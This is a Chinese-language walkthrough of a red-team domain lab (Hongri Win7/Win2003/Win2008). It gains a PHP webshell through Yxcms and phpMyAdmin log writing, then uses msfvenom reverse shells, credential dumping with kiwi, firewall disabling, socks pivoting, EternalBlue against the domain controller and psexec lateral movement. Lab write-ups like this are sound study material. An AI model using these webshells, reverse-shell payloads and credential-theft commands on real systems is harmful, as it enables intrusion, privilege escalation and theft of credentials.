网络拓扑图

靶机参考文章

CS/MSF 派发 shell

# 环境搭建

IP 搭建教程

# 本机双网卡

65 网段和 83 网段是自己本机电脑 (虚拟机) 中的网卡,靶机外网的 IP 需要借助我们这两个网段之一出网

# Kali IP

kali 地址网络适配器选择,为 VMnetNAT 模式会通过 DHCP 自动获取 IP, 本机 65 网卡会自动分配 IP 和靶机 win7 同网段

简单来说,桥接模式是独立内网 IP , NAT 模式则是利用物理机的地址分配一个 IP 和物理同一个网段,双网卡就是一个情况,一个网段出网络,一个不出网,不出网 IP 为内网网段,或者自定义也是独立的地址

1
2
192.168.65.148 // kali 地址

扫描 win7 出网机开放端口,处于同一个网段可以扫描到

# 靶机 IP

解压后出现后最 vmx 后缀文件,打开虚拟机自己弄好 初始密码为 hongrisec@2019

已经全部修改为 saber.1029

【注意】实际上域环境三台虚拟机的 IP 初始状态就已经被配置为固定的 192.168.52.XXX/24 网段(同时已配置好域控 IP 必定为 192.168.52.138),故 VMware 仅主机模式的 VMnet1 网卡应注意也配置为 192.168.52.XXX/24 网段

IP 地址

主机IP 地址
kali 攻击机192.168.65.148(虚拟机 VMnet8 网卡) 本机双网卡 = WIFi IP+kali IP 65 + 内部 IP 172.28.160.1
Win7 外网服务器外网 IP 192.168.65.154 / 内网 IP 192.168.52.143 提权后 IP 变为 65.155
Win2003 域成员机192.168.52.141 (不出网 IP 固定 52 网段)
Win2008 DC 域控192.168.52.138 (不出网 IP 固定 52 网段)

攻击机与 win7 可以互相 ping 通出网,如果出现 Ping 不同可能是 win7 防火墙未关闭或未开机

# Web GetShell

# 前期信息收集

win7 机器打开小皮服务否则 nmap 无法扫描 80 端口和 3306

1
2
3
4
arp-scan-l    //  kali前期使用该命令扫出同有一网段下其他主机


xxxxx // 确定了win7 IP 地地址为 192.168.65.154

扫描 win7 外网 IP 地址,目标开放了 80 3306 端口

1
nmap 192.168.65.154 

kali 访问 80 端口 phpinfo( ) 页面:自己主机也是可以访问到此页面,本身就是同一个网段, win7 网段是物理机给予的

御剑目录扫描出数据库管理后台和 beifen.rar 文件路径

1
2
3
http://192.168.65.154/PhpMyAdmin
http://192.168.65.154/beifen.rar

压缩包 config.php 给出了数据库的账户密码信息

# Yxcms 后台模板 Getshell

下载压缩包解压后根据文件夹名称判断是个 cms 拼接访问

主页公告信息泄露出了后台管理的地址和账户密码访问后登录即可

1
2
3
4
5
http://192.168.65.154/yxcms/index.php?r=admin

账户:admimm

密码:123456

登录后台找到前台模板进行编辑写一句话木马蚁剑联机.

选择编辑的文件为 index_index.php 猜测应该是网站起始吧最好找路径

1
2
3
4
5
6
7
一句话🐎

<?php eval($_POST["cmd"]);
phpinfo(); // 添加打印函数佐证
echo 'aaaaa'; // 输出 aaaaa
?>

访问网站前台马子上线,掏出蚁剑连接,取得 webshell

# PHPMyAdmin 日志 Getshell

数据库登录如果无密码只能尝试弱口令了,这里是应该前期找文件已经有了密码直接登录就行了

1
2
3
账号: root 

密码: root

# into outfile 写入一句话 X

INTO OUTFILE是 MySQL 数据库中的一个语句,它可以将查询结果写入到文件中

条件

  1. root 权限
  2. 知道绝对路径
  3. secure_file_priv 没有具体值

使用 INTO OUTFILE 将结果写入到文件中

1
SELECT 'Hello, world!' AS message INTO OUTFILE '/path/to/file.txt';

这样文件 "/path/to/file.txt" 的内容将变为:

1
Hello, world!

前期通过最高权限的账号登录了,并且源码泄露和 phpinfo() 已经知道了绝对路径,查 secure_fiel_priv

1
2
3
4
5
6
show global variables like "%secure%"; // 查询

value为“null”时,不允许读取任意文件

value为“空”时,允许读取任意文件

这里值为 null 无法执行

# phpmyadmin 日志写入一句话

使用语句查询路径,这是已经修改过的

1
2
show global variables like "%general%"; 

使用命令修改配置开关和路径

1
2
3
4
5
6
7
set global general_log="on";                //开启日志,修改为on

//修改日志路径(在上面提到的phpinfo.php中有泄露路径)

set global general_log_file="C:/phpStudy/WWW/a.php";


利用日志写入一句话木马位置是在网站 www 根目录下的 a.php 直接访问连接

1
SELECT'<?php eval($_POST["cmd"]);?>' 

蚁剑连接成功取得 webshell

# 后渗透

# MSF 生成木马上线

Kali 进入 MSF 生成 shell.exe

1
2
3
4
5
6

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.65.148 LPORT=1111 -f exe -o shell.exe

// -p为指定payload,使用msf的payload的时候要和这个相同,
//lhost为Kali ip,lport为 自定义端口,-f为payload类型为exe

拷贝木马使用蚁剑将文件上传到 win7 目录下

msf 开启监听回响用 handler 模块接收反弹模块

1
2
3
4
5
6
use exploit/multi/handler 
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.65.148
set lport 1111
exploit

蚁剑虚拟终端运行 exe 文件 MSF 成功反弹 shell

反弹 shell 后先查看当前用户,而后通过 getsystem 命令直接进行提权到系统权限

1
2
3
4
5
getuid // 获取当前用户ID


getsystem // 用于获取系统权限的命令,通常在渗透测试中用于尝试提升当前用户权限至系统管理员权限。
// 这个命令通常在攻击者已经获得一定权限的情况下使用,以获取更高级别的权限。在实际操作中,getsystem命令可能会利用系统中的漏洞或弱点,以获取系统管理员权限

# 提取用户 hash

1
2
3
4
5
run post/windows/gather/smart_hashdump   // 提取命令

load kiwi // 加载抓取密码工具

creds_all // 抓取

# ** hash ** 加密方式

1
2
3
4
5
6
7
8
9
10
11
12
13
Windows系统中,哈希密码的格式通常为:用户名称:RID:LM-HASH值:NT-HASH值。
其中,NT-HASH是通过以下步骤生成的:

1. 将明文口令转换成十六进制的格式。
2. 将转换后的十六进制字符串转换成Unicode格式,即在每个字节之后添加0x00
3. 对Unicode格式的字符串进行MD4加密,生成32位的十六进制数字串

举例来说,如果用户密码为test123,首先将其转换成十六进制的格式为74657374313233
然后转换成Unicode格式为7400650073007400310032003300
最后,对Unicode字符串7400650073007400310032003300进行MD4加密,
得到NT-HASH值为c5a237b7e9d8e708d8436b6148a25fa1。

这个NT-HASH值可以用于验证用户的身份而无需存储明文密码。

1
2
run post/windows/manage/enable_rdp  // 开启3389远程桌面

nmap 探测属于 3389 端口处于开启状态

1
2
3
sessions -i  # 查看所有会话 这个要回到msf模块下才能看到

sessions 1 # 选择为此ID为1的会话

# MSF 权限 ShellCS

开启 CS 物理机 Windows 作为客户端 Kali 作为服务端启动

创建监听器,端口号需和 IP 需和 MSF 监听设置一致,这里的 IPkali 地址

MSF 执行命令派发

1
2
3
4
5
6
7
8
9
10
bg  # 退出回到反弹模块
use exploit/windows/local/payload_inject # 本地漏洞利用模块payload_inject。这个模块通常用于在目标系统上注入恶意代码或payload
set payload windows/meterpreter/reverse_http # :设置payload 表示在目标系统上使用Meterpreter反向HTTP负载。这将允许建立一个反向连接
set DisablePayloadHandler true #payload_inject执行之后会在本地产生一个新的handler,设置为true表示不重复生成
set lhost 192.168.65.148 #公网vps ip 也看就是Kali地址
set lport 80 #监听端口需和CS设置一直
set session 1 #派发session 为1 也就是第一个会话 通过会话列表可以查看
exploit


CS 客户端成功收到反弹 shell

# CS 生成木马上线

CS 生成非常简单,参考前文过程,生成的木马通过前文的蚁剑上传 win7 运行即可,上线,后续对 win7 信息收集和横向移动其他域内其他主机

1
2
3
4
5
蚁剑下操作 


dir // 列出当前目录下所有文件
.\beacon.exe // 运行木马文件 CS 成功上线

# 提权 system

  • svc-exe 提权

    1. 创建一个以 system 权限启动的程序,这个程序的作用是连接指定的命名管道。

    2. 创建一个进程,并让进程创建命名管道。

    3. 让之前的以 system 权限启动的程序启动并连接这个命名管道。

    4. 利用 ImpersonateNamedPipeClient () 函数生成 system 权限的 token。

    5. 利用 system 权限的 token 启动 cmd.exe

# 信息收集

1
2
3
4
sleep 0  // 修改心跳速度为0 立马响应


shell systeminfo // 查看主机系统详细信息

查看进行和防火墙开启状态是为了判断是是否有防护软件,但是显然是没有的,不然 CS 生成无免杀的马子是不能上传到 win7 服务器

1
shell tasklist // 查看被控主机进程列表

1
2
3
4
5
6
7
8
shell netsh firewall show state  // 查看防火墙状态是否开启,操作模式为禁用代表防火墙为关闭状态


出现命令提示:

Microsoft已经将防火墙管理工具从"netsh firewall"迁移到了"netsh advfirewall firewall"
这种更改可能是为了提高安全性、功能性或性能等方面的考虑

1
2
shell netsh advfirewall set allprofile state off // 完全关闭防火墙命令

# 域信息收集

1
shell net config Workstation  // 查看域信息

1
shell  view  // 查看当前域内列表,点击上方定位圆圈就可以看到

1
net dclist // 查看域控列表

抓取凭证 hash win7 主机 3 个用户账户密码

抓取明文密码

# CS 权限 shellMSF

MSF 开启监听模块,使用一个端口进行监听

1
2
3
4
5
6
msfconsole // 开启MSF
use exploit/multi/handler // 使用监听模块
set payload windows/meterpreter/reverse_http // 反向连接 CS将得到的权限反弹至MSF,协议和监听器一致
set lhost 0.0.0.0 // IP地址为任意的 任意地址流量都可以反弹
set lport 6666// 端口和监听器设置一致
run // 开启监听

CS 这里是已经通过反向木马得到了 shell , 生成的木马监听器就是 HTTP 的,所以权限给 msf 时,新建的监听器还是 HTTP

CS 在需要委派的权限主机右键新建会话,则选择新的监听器为我们创建的

# 横向移动

横向渗透,使攻击机利用 win7 做跳板直接通讯到域控,利用 win7 为媒介

kali 攻击机192.168.65.148
Win7 外网服务器外网 IP 192.168.65.154 / 内网 IP 192.168.52.143
Win2008 DC 域控192.168.52.138 (不出网 IP 固定 52 网段)

# MSF

# MSF 路由 + Socks 模块代理通讯

横向渗透前,将 win7 作为跳板机,将其内网 52 网段添加到路由,利用 msf 路由和 socks 配置让同一网段的机器可以通讯到

1
2
3
4
route // 打印当前路由
run post/multi/manage/autoroute // 在当前会话自带添加路由 (攻击机添加一个网段和被控主机一个网段 52网段)
run autoroute -p // 查看当前路由 已经添加好了52网段

设置 proxychains 代理,,现在只是 msf 工具以使用,但的工具还是没有通讯的,所以再次建立一个路由

1
2
3
4
5
bg // 退回msfshell模式

use auxiliary/server/socks_proxy // 使用socks代理 // 改名字了和之前小迪做的不一样

show options // 查看设置

1
2
3
4
5
6
7
set srvhost 127.0.0.1  // 设置代理为本地

set srvport 888 // 有点问题再开了一个代理 端口为888如果不改的话默认1080和代理文件是一样的默认

run // 执行

jobs // 查看后台任务

找到 proxychains4.conf 文件因为不会 vim 操作起来很不舒服,定位到端口位置,点击 x 后可以删除,点击 i 开始添加对应的端口号 和前文设置一致

# ms17_010 永恒之蓝 445

昨晚配置路由和 socks 之后正常是 kali 是可以接收到 52 网段的流量,然后使用 nmap 探测开放端口,会探测到 445 然后打永恒之蓝得到权限

socks 开启监听一个端口,将此流量转发给 msf 因为端口号设置一致,msf 添加了路由,所以流量又被带入内网中,在 kali 中的工具都可以监听到

1
2
3
proxychains  nmap -Pn -sT 192.168.52.138

xxxx 发现存在445端口

检测永恒之蓝可能存在的地址

1
2
3
4
search ms17-010 
use auxiliary/scanner/smb/smb_ms17_010 // 永恒之蓝漏洞扫描检测模块
set rhosts 192.168.3.21-32 // 检测此IP范围内
run

命令行出现 Host 漏洞可能存在,使用漏洞攻击模块进行攻击

这里域控密码忘记了登录补上。但总的就是这个意思了,先设置跳板机和 sosks 进行通讯,而后通过开放的端口利用永恒之蓝去打域控,打下了域控也就是差不多了

1
2
3
4
5
6
7
8
9
10
11
use exploit/windows/smb/ms17_010_eternalblue  // use 0 // 利用模块

set payload windows/x64/meterpreter/reverse_tcp // 设置攻击载荷反向

set lhost 192.168.52.143 // 地址为 跳板机win7地址,因为要通过它去打域控地址 138

set rhosts 192.168.52.138 // 被攻击的地址为域控

set lport 5555 // 随意选择kali一个端口进行监听

run // 运行即可

# CS

# 创建 SMB 监听器横向

SMB Beacon 相对隐蔽,绕防火墙时可能发挥奇效 (系统防火墙默认是允许 445 的端口与外界通信的,其他端口可能会弹窗提醒,会导致远程命令行反弹 shell 失败), 此流量封装在 SMB 协议中

DC 域控进行横向移动利用先前抓取的明文密码,配合 SMB 监听器,

运行后直接用抓取到的明文去移动直接正向连接域控主机,接下来可以拿域控去打另外一台机器,这是第一种派生方式,第二种 beacon 上创建监听,用来作为跳板进行内网穿透 前提是能够通过 shell 之类访问到内网其他主机

# 横向移动 psexec

感觉这个就是拿明文去移动启动机器了, psexec 属于登录命令,在有密码情况下远程登录其他主机执行命令

简单粗暴拿下